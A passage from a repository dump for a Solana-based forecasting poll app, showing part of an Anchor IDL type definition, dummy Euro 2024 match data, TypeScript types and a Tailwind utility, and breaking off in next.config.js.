                kind: "const";
                value: [97, 117, 116, 104];
              }
            ];
          };
        },
        {
          name: "mint";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [112, 111, 101, 107, 101, 110, 95, 109, 105, 110, 116];
              }
            ];
          };
        },
        {
          name: "escrowAccount";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [101, 115, 99, 114, 111, 119];
              }
            ];
          };
        },
        {
          name: "tokenProgram";
          address: "TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA";
        },
        {
          name: "systemProgram";
          address: "11111111111111111111111111111111";
        }
      ];
      args: [];
    },
    {
      name: "makeEstimate";
      discriminator: [169, 43, 178, 59, 233, 178, 74, 199];
      accounts: [
        {
          name: "forecaster";
          writable: true;
          signer: true;
        },
        {
          name: "user";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [117, 115, 101, 114];
              },
              {
                kind: "account";
                path: "forecaster";
              }
            ];
          };
        },
        {
          name: "poll";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [112, 111, 108, 108];
              },
              {
                kind: "account";
                path: "poll.id";
                account: "poll";
              }
            ];
          };
        },
        {
          name: "userEstimate";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [
                  117,
                  115,
                  101,
                  114,
                  95,
                  101,
                  115,
                  116,
                  105,
                  109,
                  97,
                  116,
                  101
                ];
              },
              {
                kind: "account";
                path: "poll";
              },
              {
                kind: "account";
                path: "forecaster";
              }
            ];
          };
        },
        {
          name: "pollEstimateUpdate";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [
                  112,
                  111,
                  108,
                  108,
                  95,
                  101,
                  115,
                  116,
                  105,
                  109,
                  97,
                  116,
                  101,
                  95,
                  117,
                  112,
                  100,
                  97,
                  116,
                  101
                ];
              },
              {
                kind: "account";
                path: "poll";
              },
              {
                kind: "account";
                path: "poll.num_estimate_updates";
                account: "poll";
              }
            ];
          };
        },
        {
          name: "scoringList";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [
                  115,
                  99,
                  111,
                  114,
                  105,
                  110,
                  103,
                  95,
                  108,
                  105,
                  115,
                  116
                ];
              },
              {
                kind: "account";
                path: "poll";
              }
            ];
          };
        },
        {
          name: "userScore";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [117, 115, 101, 114, 95, 115, 99, 111, 114, 101];
              },
              {
                kind: "account";
                path: "poll";
              },
              {
                kind: "account";
                path: "forecaster";
              }
            ];
          };
        },
        {
          name: "forecasterTokenAccount";
          writable: true;
        },
        {
          name: "mint";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [112, 111, 101, 107, 101, 110, 95, 109, 105, 110, 116];
              }
            ];
          };
        },
        {
          name: "auth";
          pda: {
            seeds: [
              {
                kind: "const";
                value: [97, 117, 116, 104];
              }
            ];
          };
        },
        {
          name: "escrowAccount";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [101, 115, 99, 114, 111, 119];
              }
            ];
          };
        },
        {
          name: "tokenProgram";
          address: "TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA";
        },
        {
          name: "associatedTokenProgram";
          address: "ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL";
        },
        {
          name: "systemProgram";
          address: "11111111111111111111111111111111";
        }
      ];
      args: [
        {
          name: "lowerEstimate";
          type: "u16";
        },
        {
          name: "upperEstimate";
          type: "u16";
        }
      ];
    },
    {
      name: "registerUser";
      discriminator: [2, 241, 150, 223, 99, 214, 116, 97];
      accounts: [
        {
          name: "payer";
          writable: true;
          signer: true;
        },
        {
          name: "user";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [117, 115, 101, 114];
              },
              {
                kind: "account";
                path: "payer";
              }
            ];
          };
        },
        {
          name: "auth";
          pda: {
            seeds: [
              {
                kind: "const";
                value: [97, 117, 116, 104];
              }
            ];
          };
        },
        {
          name: "mint";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [112, 111, 101, 107, 101, 110, 95, 109, 105, 110, 116];
              }
            ];
          };
        },
        {
          name: "tokenAccount";
          writable: true;
        },
        {
          name: "tokenProgram";
          address: "TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA";
        },
        {
          name: "associatedTokenProgram";
          address: "ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL";
        },
        {
          name: "systemProgram";
          address: "11111111111111111111111111111111";
        }
      ];
      args: [];
    },
    {
      name: "removeEstimate";
      discriminator: [123, 41, 255, 206, 43, 234, 150, 38];
      accounts: [
        {
          name: "forecaster";
          writable: true;
          signer: true;
        },
        {
          name: "user";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [117, 115, 101, 114];
              },
              {
                kind: "account";
                path: "forecaster";
              }
            ];
          };
        },
        {
          name: "poll";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [112, 111, 108, 108];
              },
              {
                kind: "account";
                path: "poll.id";
                account: "poll";
              }
            ];
          };
        },
        {
          name: "userEstimate";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [
                  117,
                  115,
                  101,
                  114,
                  95,
                  101,
                  115,
                  116,
                  105,
                  109,
                  97,
                  116,
                  101
                ];
              },
              {
                kind: "account";
                path: "poll";
              },
              {
                kind: "account";
                path: "forecaster";
              }
            ];
          };
        },
        {
          name: "estimateUpdate";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [
                  112,
                  111,
                  108,
                  108,
                  95,
                  101,
                  115,
                  116,
                  105,
                  109,
                  97,
                  116,
                  101,
                  95,
                  117,
                  112,
                  100,
                  97,
                  116,
                  101
                ];
              },
              {
                kind: "account";
                path: "poll";
              },
              {
                kind: "account";
                path: "poll.num_estimate_updates";
                account: "poll";
              }
            ];
          };
        },
        {
          name: "scoringList";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [
                  115,
                  99,
                  111,
                  114,
                  105,
                  110,
                  103,
                  95,
                  108,
                  105,
                  115,
                  116
                ];
              },
              {
                kind: "account";
                path: "poll";
              }
            ];
          };
        },
        {
          name: "userScore";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [117, 115, 101, 114, 95, 115, 99, 111, 114, 101];
              },
              {
                kind: "account";
                path: "poll";
              },
              {
                kind: "account";
                path: "forecaster";
              }
            ];
          };
        },
        {
          name: "systemProgram";
          address: "11111111111111111111111111111111";
        }
      ];
      args: [];
    },
    {
      name: "resolvePoll";
      discriminator: [130, 62, 235, 12, 76, 239, 17, 61];
      accounts: [
        {
          name: "resolver";
          writable: true;
          signer: true;
          relations: ["poll"];
        },
        {
          name: "poll";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [112, 111, 108, 108];
              },
              {
                kind: "account";
                path: "poll.id";
                account: "poll";
              }
            ];
          };
        },
        {
          name: "scoringList";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [
                  115,
                  99,
                  111,
                  114,
                  105,
                  110,
                  103,
                  95,
                  108,
                  105,
                  115,
                  116
                ];
              },
              {
                kind: "account";
                path: "poll";
              }
            ];
          };
        },
        {
          name: "systemProgram";
          address: "11111111111111111111111111111111";
        }
      ];
      args: [
        {
          name: "result";
          type: "bool";
        }
      ];
    },
    {
      name: "startPoll";
      discriminator: [59, 188, 204, 28, 129, 88, 202, 242];
      accounts: [
        {
          name: "creator";
          writable: true;
          signer: true;
          relations: ["poll"];
        },
        {
          name: "poll";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [112, 111, 108, 108];
              },
              {
                kind: "account";
                path: "poll.id";
                account: "poll";
              }
            ];
          };
        },
        {
          name: "scoringList";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [
                  115,
                  99,
                  111,
                  114,
                  105,
                  110,
                  103,
                  95,
                  108,
                  105,
                  115,
                  116
                ];
              },
              {
                kind: "account";
                path: "poll";
              }
            ];
          };
        },
        {
          name: "systemProgram";
          address: "11111111111111111111111111111111";
        }
      ];
      args: [];
    },
    {
      name: "updateEstimate";
      discriminator: [16, 66, 42, 145, 179, 218, 133, 181];
      accounts: [
        {
          name: "forecaster";
          writable: true;
          signer: true;
        },
        {
          name: "poll";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [112, 111, 108, 108];
              },
              {
                kind: "account";
                path: "poll.id";
                account: "poll";
              }
            ];
          };
        },
        {
          name: "userEstimate";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [
                  117,
                  115,
                  101,
                  114,
                  95,
                  101,
                  115,
                  116,
                  105,
                  109,
                  97,
                  116,
                  101
                ];
              },
              {
                kind: "account";
                path: "poll";
              },
              {
                kind: "account";
                path: "forecaster";
              }
            ];
          };
        },
        {
          name: "userEstimateUpdate";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [
                  117,
                  115,
                  101,
                  114,
                  95,
                  101,
                  115,
                  116,
                  105,
                  109,
                  97,
                  116,
                  101,
                  95,
                  117,
                  112,
                  100,
                  97,
                  116,
                  101
                ];
              },
              {
                kind: "account";
                path: "poll";
              },
              {
                kind: "account";
                path: "forecaster";
              },
              {
                kind: "account";
                path: "user_estimate.num_estimate_updates";
                account: "userEstimate";
              }
            ];
          };
        },
        {
          name: "estimateUpdate";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [
                  112,
                  111,
                  108,
                  108,
                  95,
                  101,
                  115,
                  116,
                  105,
                  109,
                  97,
                  116,
                  101,
                  95,
                  117,
                  112,
                  100,
                  97,
                  116,
                  101
                ];
              },
              {
                kind: "account";
                path: "poll";
              },
              {
                kind: "account";
                path: "poll.num_estimate_updates";
                account: "poll";
              }
            ];
          };
        },
        {
          name: "scoringList";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [
                  115,
                  99,
                  111,
                  114,
                  105,
                  110,
                  103,
                  95,
                  108,
                  105,
                  115,
                  116
                ];
              },
              {
                kind: "account";
                path: "poll";
              }
            ];
          };
        },
        {
          name: "userScore";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [117, 115, 101, 114, 95, 115, 99, 111, 114, 101];
              },
              {
                kind: "account";
                path: "poll";
              },
              {
                kind: "account";
                path: "forecaster";
              }
            ];
          };
        },
        {
          name: "systemProgram";
          address: "11111111111111111111111111111111";
        }
      ];
      args: [
        {
          name: "newLowerEstimate";
          type: "u16";
        },
        {
          name: "newUpperEstimate";
          type: "u16";
        }
      ];
    }
  ];
  accounts: [
    {
      name: "poeState";
      discriminator: [56, 89, 110, 49, 245, 252, 16, 20];
    },
    {
      name: "poll";
      discriminator: [110, 234, 167, 188, 231, 136, 153, 111];
    },
    {
      name: "pollEstimateUpdate";
      discriminator: [140, 170, 34, 23, 150, 213, 62, 18];
    },
    {
      name: "scoringList";
      discriminator: [200, 108, 113, 50, 15, 45, 206, 81];
    },
    {
      name: "user";
      discriminator: [159, 117, 95, 227, 239, 151, 58, 236];
    },
    {
      name: "userEstimate";
      discriminator: [4, 202, 200, 189, 121, 204, 147, 101];
    },
    {
      name: "userEstimateUpdate";
      discriminator: [231, 183, 179, 64, 195, 152, 147, 122];
    },
    {
      name: "userScore";
      discriminator: [212, 150, 123, 224, 34, 227, 84, 39];
    }
  ];
  errors: [
    {
      code: 6000;
      name: "pollAlreadyStarted";
      msg: "Poll has already started.";
    },
    {
      code: 6001;
      name: "pollClosed";
      msg: "Poll is closed.";
    },
    {
      code: 6002;
      name: "pollNotResolved";
      msg: "Poll has not been resolved.";
    },
    {
      code: 6003;
      name: "pollAlreadyResolved";
      msg: "Poll has already been resolved.";
    }
  ];
  types: [
    {
      name: "poeState";
      type: {
        kind: "struct";
        fields: [
          {
            name: "authority";
            type: "pubkey";
          },
          {
            name: "numPolls";
            type: "u64";
          },
          {
            name: "score";
            type: "f32";
          },
          {
            name: "recalibrationFactor";
            type: "f32";
          },
          {
            name: "bump";
            type: "u8";
          }
        ];
      };
    },
    {
      name: "poll";
      type: {
        kind: "struct";
        fields: [
          {
            name: "creator";
            type: "pubkey";
          },
          {
            name: "resolver";
            type: "pubkey";
          },
          {
            name: "id";
            type: "u64";
          },
          {
            name: "category";
            type: "u16";
          },
          {
            name: "hasStarted";
            type: "bool";
          },
          {
            name: "bettingAmount";
            type: "u64";
          },
          {
            name: "startSlot";
            type: "u64";
          },
          {
            name: "endSlot";
            type: {
              option: "u64";
            };
          },
          {
            name: "decayRate";
            type: "f32";
          },
          {
            name: "collectiveEstimate";
            type: {
              option: "u32";
            };
          },
          {
            name: "variance";
            type: {
              option: "f32";
            };
          },
          {
            name: "lnGmA";
            type: {
              option: "f32";
            };
          },
          {
            name: "lnGmB";
            type: {
              option: "f32";
            };
          },
          {
            name: "numForecasters";
            type: "u64";
          },
          {
            name: "numEstimateUpdates";
            type: "u64";
          },
          {
            name: "accumulatedWeights";
            type: "f32";
          },
          {
            name: "accumulatedWeightsSquared";
            type: "f32";
          },
          {
            name: "result";
            type: {
              option: "bool";
            };
          },
          {
            name: "question";
            type: "string";
          },
          {
            name: "description";
            type: "string";
          },
          {
            name: "bump";
            type: "u8";
          }
        ];
      };
    },
    {
      name: "pollEstimateUpdate";
      type: {
        kind: "struct";
        fields: [
          {
            name: "poll";
            type: "pubkey";
          },
          {
            name: "slot";
            type: "u64";
          },
          {
            name: "timestamp";
            type: "i64";
          },
          {
            name: "estimate";
            type: {
              option: "u32";
            };
          },
          {
            name: "variance";
            type: {
              option: "f32";
            };
          },
          {
            name: "bump";
            type: "u8";
          }
        ];
      };
    },
    {
      name: "scoringList";
      serialization: "bytemuck";
      repr: {
        kind: "c";
      };
      type: {
        kind: "struct";
        fields: [
          {
            name: "options";
            type: {
              array: ["f32", 128];
            };
          },
          {
            name: "cost";
            type: {
              array: ["f32", 128];
            };
          },
          {
            name: "peerScoreA";
            type: {
              array: ["f32", 128];
            };
          },
          {
            name: "peerScoreB";
            type: {
              array: ["f32", 128];
            };
          },
          {
            name: "lastSlot";
            type: "u64";
          }
        ];
      };
    },
    {
      name: "user";
      type: {
        kind: "struct";
        fields: [
          {
            name: "userAddress";
            type: "pubkey";
          },
          {
            name: "score";
            type: "f32";
          },
          {
            name: "participationCount";
            type: "u32";
          },
          {
            name: "correctAnswersCount";
            type: "u32";
          },
          {
            name: "bump";
            type: "u8";
          }
        ];
      };
    },
    {
      name: "userEstimate";
      type: {
        kind: "struct";
        fields: [
          {
            name: "forecaster";
            type: "pubkey";
          },
          {
            name: "poll";
            type: "pubkey";
          },
          {
            name: "lowerEstimate";
            type: "u16";
          },
          {
            name: "upperEstimate";
            type: "u16";
          },
          {
            name: "scoreWeight";
            type: "f32";
          },
          {
            name: "recencyWeight";
            type: "f32";
          },
          {
            name: "numForecasters";
            type: "u64";
          },
          {
            name: "numEstimateUpdates";
            type: "u64";
          },
          {
            name: "reputationScore";
            type: {
              option: "f32";
            };
          },
          {
            name: "payoutScore";
            type: {
              option: "f32";
            };
          },
          {
            name: "bump";
            type: "u8";
          }
        ];
      };
    },
    {
      name: "userEstimateUpdate";
      type: {
        kind: "struct";
        fields: [
          {
            name: "poll";
            type: "pubkey";
          },
          {
            name: "user";
            type: "pubkey";
          },
          {
            name: "slot";
            type: "u64";
          },
          {
            name: "timestamp";
            type: "i64";
          },
          {
            name: "lowerEstimate";
            type: "u16";
          },
          {
            name: "upperEstimate";
            type: "u16";
          }
        ];
      };
    },
    {
      name: "userScore";
      type: {
        kind: "struct";
        fields: [
          {
            name: "forecaster";
            type: "pubkey";
          },
          {
            name: "poll";
            type: "pubkey";
          },
          {
            name: "options";
            type: "f32";
          },
          {
            name: "lastLowerOption";
            type: "f32";
          },
          {
            name: "lastUpperOption";
            type: "f32";
          },
          {
            name: "cost";
            type: "f32";
          },
          {
            name: "lastLowerCost";
            type: "f32";
          },
          {
            name: "lastUpperCost";
            type: "f32";
          },
          {
            name: "lastPeerScoreA";
            type: "f32";
          },
          {
            name: "lastPeerScoreB";
            type: "f32";
          },
          {
            name: "lnA";
            type: "f32";
          },
          {
            name: "lnB";
            type: "f32";
          },
          {
            name: "peerScoreA";
            type: "f32";
          },
          {
            name: "peerScoreB";
            type: "f32";
          },
          {
            name: "lastSlot";
            type: "u64";
          },
          {
            name: "bump";
            type: "u8";
          }
        ];
      };
    }
  ];
};


================================================
FILE: lib/dummyData.ts
================================================
export type Match = {
  id: string;
  date: string;
  teamA: string;
  teamB: string;
  logoA: string;
  logoB: string;
  resultA: string;
  resultB: string;
};

const flagBaseUrl = "https://flagcdn.com/48x36/";

export const matchesFirstMatchDay: Match[] = [
  {
    id: "1",
    date: "14.06.24 21:00",
    teamA: "Germany",
    teamB: "Scotland",
    logoA: `${flagBaseUrl}de.png`,
    logoB: `${flagBaseUrl}gb-sct.png`,
    resultA: "5",
    resultB: "1",
  },
  {
    id: "2",
    date: "15.06.24 15:00",
    teamA: "Hungary",
    teamB: "Switzerland",
    logoA: `${flagBaseUrl}hu.png`,
    logoB: `${flagBaseUrl}ch.png`,
    resultA: "1",
    resultB: "3",
  },
  {
    id: "3",
    date: "15.06.24 18:00",
    teamA: "Spain",
    teamB: "Croatia",
    logoA: `${flagBaseUrl}es.png`,
    logoB: `${flagBaseUrl}hr.png`,
    resultA: "3",
    resultB: "0",
  },
  {
    id: "4",
    date: "15.06.24 21:00",
    teamA: "Italy",
    teamB: "Albania",
    logoA: `${flagBaseUrl}it.png`,
    logoB: `${flagBaseUrl}al.png`,
    resultA: "2",
    resultB: "1",
  },
  {
    id: "5",
    date: "16.06.24 15:00",
    teamA: "Poland",
    teamB: "Netherlands",
    logoA: `${flagBaseUrl}pl.png`,
    logoB: `${flagBaseUrl}nl.png`,
    resultA: "1",
    resultB: "2",
  },
  {
    id: "6",
    date: "16.06.24 18:00",
    teamA: "Slovenia",
    teamB: "Denmark",
    logoA: `${flagBaseUrl}si.png`,
    logoB: `${flagBaseUrl}dk.png`,
    resultA: "1",
    resultB: "1",
  },
  {
    id: "7",
    date: "16.06.24 21:00",
    teamA: "Serbia",
    teamB: "England",
    logoA: `${flagBaseUrl}rs.png`,
    logoB: `${flagBaseUrl}gb-eng.png`,
    resultA: "0",
    resultB: "1",
  },
  {
    id: "8",
    date: "17.06.24 15:00",
    teamA: "Romania",
    teamB: "Ukraine",
    logoA: `${flagBaseUrl}ro.png`,
    logoB: `${flagBaseUrl}ua.png`,
    resultA: "3",
    resultB: "0",
  },
  {
    id: "9",
    date: "17.06.24 18:00",
    teamA: "Belgium",
    teamB: "Slovakia",
    logoA: `${flagBaseUrl}be.png`,
    logoB: `${flagBaseUrl}sk.png`,
    resultA: "0",
    resultB: "1",
  },
  {
    id: "10",
    date: "17.06.24 21:00",
    teamA: "Austria",
    teamB: "France",
    logoA: `${flagBaseUrl}at.png`,
    logoB: `${flagBaseUrl}fr.png`,
    resultA: "0",
    resultB: "1",
  },
  {
    id: "11",
    date: "18.06.24 18:00",
    teamA: "Türkiye",
    teamB: "Georgia",
    logoA: `${flagBaseUrl}tr.png`,
    logoB: `${flagBaseUrl}ge.png`,
    resultA: "3",
    resultB: "1",
  },
  {
    id: "12",
    date: "18.06.24 21:00",
    teamA: "Portugal",
    teamB: "Czechia",
    logoA: `${flagBaseUrl}pt.png`,
    logoB: `${flagBaseUrl}cz.png`,
    resultA: "2",
    resultB: "1",
  },
];

export const matchesSecondMatchday: Match[] = [
  {
    id: "13",
    date: "19.06.24 15:00",
    teamA: "Croatia",
    teamB: "Albania",
    logoA: `${flagBaseUrl}hr.png`,
    logoB: `${flagBaseUrl}al.png`,
    resultA: "2",
    resultB: "2",
  },
  {
    id: "14",
    date: "19.06.24 18:00",
    teamA: "Germany",
    teamB: "Hungary",
    logoA: `${flagBaseUrl}de.png`,
    logoB: `${flagBaseUrl}hu.png`,
    resultA: "2",
    resultB: "0",
  },
  {
    id: "15",
    date: "19.06.24 21:00",
    teamA: "Scotland",
    teamB: "Switzerland",
    logoA: `${flagBaseUrl}gb-sct.png`,
    logoB: `${flagBaseUrl}ch.png`,
    resultA: "1",
    resultB: "1",
  },
  {
    id: "16",
    date: "20.06.24 15:00",
    teamA: "Slovenia",
    teamB: "Serbia",
    logoA: `${flagBaseUrl}si.png`,
    logoB: `${flagBaseUrl}rs.png`,
    resultA: "1",
    resultB: "1",
  },
  {
    id: "17",
    date: "20.06.24 18:00",
    teamA: "Denmark",
    teamB: "England",
    logoA: `${flagBaseUrl}dk.png`,
    logoB: `${flagBaseUrl}gb-eng.png`,
    resultA: "1",
    resultB: "1",
  },
  {
    id: "18",
    date: "20.06.24 21:00",
    teamA: "Spain",
    teamB: "Italy",
    logoA: `${flagBaseUrl}es.png`,
    logoB: `${flagBaseUrl}it.png`,
    resultA: "1",
    resultB: "0",
  },
  {
    id: "19",
    date: "21.06.24 15:00",
    teamA: "Slovakia",
    teamB: "Ukraine",
    logoA: `${flagBaseUrl}sk.png`,
    logoB: `${flagBaseUrl}ua.png`,
    resultA: "1",
    resultB: "2",
  },
  {
    id: "20",
    date: "21.06.24 18:00",
    teamA: "Poland",
    teamB: "Austria",
    logoA: `${flagBaseUrl}pl.png`,
    logoB: `${flagBaseUrl}at.png`,
    resultA: "1",
    resultB: "3",
  },
  {
    id: "21",
    date: "21.06.24 21:00",
    teamA: "Netherland",
    teamB: "France",
    logoA: `${flagBaseUrl}nl.png`,
    logoB: `${flagBaseUrl}fr.png`,
    resultA: "0",
    resultB: "0",
  },
  {
    id: "22",
    date: "22.06.24 15:00",
    teamA: "Georgia",
    teamB: "Czechia",
    logoA: `${flagBaseUrl}ge.png`,
    logoB: `${flagBaseUrl}cz.png`,
    resultA: "1",
    resultB: "1",
  },
  {
    id: "23",
    date: "22.06.24 18:00",
    teamA: "Türkiye",
    teamB: "Portugal",
    logoA: `${flagBaseUrl}tr.png`,
    logoB: `${flagBaseUrl}pt.png`,
    resultA: "0",
    resultB: "3",
  },
  {
    id: "24",
    date: "22.06.24 21:00",
    teamA: "Belgium",
    teamB: "Romania",
    logoA: `${flagBaseUrl}be.png`,
    logoB: `${flagBaseUrl}ro.png`,
    resultA: "2",
    resultB: "0",
  },
];

export const matchesThirdMatchday: Match[] = [
  {
    id: "25",
    date: "23.06.24 21:00",
    teamA: "Switzerland",
    teamB: "Germany",
    logoA: `${flagBaseUrl}ch.png`,
    logoB: `${flagBaseUrl}de.png`,
    resultA: "1",
    resultB: "1",
  },
  {
    id: "26",
    date: "23.06.24 21:00",
    teamA: "Scotland",
    teamB: "Hungary",
    logoA: `${flagBaseUrl}gb-sct.png`,
    logoB: `${flagBaseUrl}hu.png`,
    resultA: "0",
    resultB: "1",
  },
  {
    id: "27",
    date: "24.06.24 21:00",
    teamA: "Albania",
    teamB: "Spain",
    logoA: `${flagBaseUrl}al.png`,
    logoB: `${flagBaseUrl}es.png`,
    resultA: "0",
    resultB: "1",
  },
  {
    id: "28",
    date: "24.06.24 21:00",
    teamA: "Croatia",
    teamB: "Italy",
    logoA: `${flagBaseUrl}hr.png`,
    logoB: `${flagBaseUrl}it.png`,
    resultA: "1",
    resultB: "1",
  },
  {
    id: "29",
    date: "25.06.24 18:00",
    teamA: "Netherlands",
    teamB: "Austria",
    logoA: `${flagBaseUrl}nl.png`,
    logoB: `${flagBaseUrl}at.png`,
    resultA: "2",
    resultB: "3",
  },
  {
    id: "30",
    date: "25.06.24 18:00",
    teamA: "France",
    teamB: "Poland",
    logoA: `${flagBaseUrl}fr.png`,
    logoB: `${flagBaseUrl}pl.png`,
    resultA: "1",
    resultB: "1",
  },
  {
    id: "31",
    date: "25.06.24 21:00",
    teamA: "England",
    teamB: "Slovenia",
    logoA: `${flagBaseUrl}gb-eng.png`,
    logoB: `${flagBaseUrl}si.png`,
    resultA: "0",
    resultB: "0",
  },
  {
    id: "32",
    date: "25.06.24 21:00",
    teamA: "Denmark",
    teamB: "Serbia",
    logoA: `${flagBaseUrl}dk.png`,
    logoB: `${flagBaseUrl}rs.png`,
    resultA: "0",
    resultB: "0",
  },
  {
    id: "33",
    date: "26.06.24 18:00",
    teamA: "Slovakia",
    teamB: "Romania",
    logoA: `${flagBaseUrl}sk.png`,
    logoB: `${flagBaseUrl}ro.png`,
    resultA: "1",
    resultB: "1",
  },
  {
    id: "34",
    date: "26.06.24 18:00",
    teamA: "Ukraine",
    teamB: "Belgium",
    logoA: `${flagBaseUrl}ua.png`,
    logoB: `${flagBaseUrl}be.png`,
    resultA: "0",
    resultB: "0",
  },
  {
    id: "35",
    date: "26.06.24 21:00",
    teamA: "Georgia",
    teamB: "Portugal",
    logoA: `${flagBaseUrl}ge.png`,
    logoB: `${flagBaseUrl}pt.png`,
    resultA: "2",
    resultB: "0",
  },
  {
    id: "36",
    date: "26.06.24 21:00",
    teamA: "Czechia",
    teamB: "Türkiye",
    logoA: `${flagBaseUrl}cz.png`,
    logoB: `${flagBaseUrl}tr.png`,
    resultA: "1",
    resultB: "2",
  },
];

export const matchesRound16: Match[] = [
  {
    id: "37",
    date: "29.06.24 18:00",
    teamA: "Switzerland",
    teamB: "Italy",
    logoA: `${flagBaseUrl}ch.png`,
    logoB: `${flagBaseUrl}it.png`,
    resultA: "2",
    resultB: "0",
  },
  {
    id: "38",
    date: "29.06.24 21:00",
    teamA: "Germany",
    teamB: "Denmark",
    logoA: `${flagBaseUrl}de.png`,
    logoB: `${flagBaseUrl}dk.png`,
    resultA: "2",
    resultB: "0",
  },
  {
    id: "39",
    date: "30.06.24 18:00",
    teamA: "England",
    teamB: "Slovakia",
    logoA: `${flagBaseUrl}gb-eng.png`,
    logoB: `${flagBaseUrl}sk.png`,
    resultA: "2",
    resultB: "1",
  },
  {
    id: "40",
    date: "30.06.24 21:00",
    teamA: "Spain",
    teamB: "Georgia",
    logoA: `${flagBaseUrl}es.png`,
    logoB: `${flagBaseUrl}ge.png`,
    resultA: "4",
    resultB: "1",
  },
  {
    id: "41",
    date: "01.07.24 18:00",
    teamA: "France",
    teamB: "Belgium",
    logoA: `${flagBaseUrl}fr.png`,
    logoB: `${flagBaseUrl}be.png`,
    resultA: "1",
    resultB: "0",
  },
  {
    id: "42",
    date: "01.07.24 21:00",
    teamA: "Portugal",
    teamB: "Slovenia",
    logoA: `${flagBaseUrl}pt.png`,
    logoB: `${flagBaseUrl}si.png`,
    resultA: "3",
    resultB: "0",
  },
  {
    id: "43",
    date: "02.07.24 18:00",
    teamA: "Romania",
    teamB: "Netherlands",
    logoA: `${flagBaseUrl}ro.png`,
    logoB: `${flagBaseUrl}nl.png`,
    resultA: "0",
    resultB: "3",
  },
  {
    id: "44",
    date: "02.07.24 21:00",
    teamA: "Austria",
    teamB: "Türkiye",
    logoA: `${flagBaseUrl}at.png`,
    logoB: `${flagBaseUrl}tr.png`,
    resultA: "1",
    resultB: "2",
  },
];
export const matchesQuarterFinals: Match[] = [
  {
    id: "45",
    date: "05.07.24 18:00",
    teamA: "Spain",
    teamB: "Germany",
    logoA: `${flagBaseUrl}es.png`,
    logoB: `${flagBaseUrl}de.png`,
    resultA: "2",
    resultB: "1",
  },
  {
    id: "46",
    date: "05.07.24 21:00",
    teamA: "Portugal",
    teamB: "France",
    logoA: `${flagBaseUrl}pt.png`,
    logoB: `${flagBaseUrl}fr.png`,
    resultA: "3",
    resultB: "5",
  },
  {
    id: "47",
    date: "06.07.24 18:00",
    teamA: "England",
    teamB: "Switzerland",
    logoA: `${flagBaseUrl}gb-eng.png`,
    logoB: `${flagBaseUrl}ch.png`,
    resultA: "5",
    resultB: "3",
  },
  {
    id: "48",
    date: "07.07.24 21:00",
    teamA: "Netherlands",
    teamB: "Türkiye",
    logoA: `${flagBaseUrl}nl.png`,
    logoB: `${flagBaseUrl}tr.png`,
    resultA: "2",
    resultB: "1",
  },
];
export const matchesSemiFinals: Match[] = [
  {
    id: "49",
    date: "09.07.24 21:00",
    teamA: "Spain",
    teamB: "France",
    logoA: `${flagBaseUrl}es.png`,
    logoB: `${flagBaseUrl}fr.png`,
    resultA: "2",
    resultB: "1",
  },
  {
    id: "50",
    date: "10.07.24 21:00",
    teamA: "Netherlands",
    teamB: "England",
    logoA: `${flagBaseUrl}nl.png`,
    logoB: `${flagBaseUrl}gb-eng.png`,
    resultA: "1",
    resultB: "2",
  },
];
export const matchesFinal: Match[] = [
  {
    id: "51",
    date: "14.07.24 21:00",
    teamA: "Spain",
    teamB: "England",
    logoA: `${flagBaseUrl}es.png`,
    logoB: `${flagBaseUrl}gb-eng.png`,
    resultA: "2",
    resultB: "1",
  },
];

export const allMatches: Match[] = matchesFirstMatchDay.concat(
  matchesSecondMatchday,
  matchesThirdMatchday,
  matchesRound16,
  matchesQuarterFinals,
  matchesSemiFinals,
  matchesFinal
);


================================================
FILE: lib/types.ts
================================================
import { PublicKey } from "@solana/web3.js";

export type Poll = {
  creator: PublicKey;
  resolver: PublicKey;
  open: boolean;
  id: number;
  category: number;
  hasStarted: boolean;
  startSlot: number;
  endSlot: number;
  endTime: number | null;
  collectiveEstimate: number | null;
  lnGmA: number | null;
  lnGmB: number | null;
  numForecasters: number;
  numEstimateUpdates: number;
  accumulatedWeights: number;
  result: boolean | null;
  question: string;
  description: string;
  bump: number;
};

export type UserAccount = {
  userAddress: PublicKey;
  score: number;
  correctAnswerCount: number;
  participationCount: number;
  bump: number;
};


================================================
FILE: lib/utils.ts
================================================
import { type ClassValue, clsx } from "clsx"
import { twMerge } from "tailwind-merge"

export function cn(...inputs: ClassValue[]) {
  return twMerge(clsx(inputs))
}


================================================
FILE: next.config.js
================================================
module.exports = {
  images: {
    remotePatterns: [
      {
        protocol: "https",
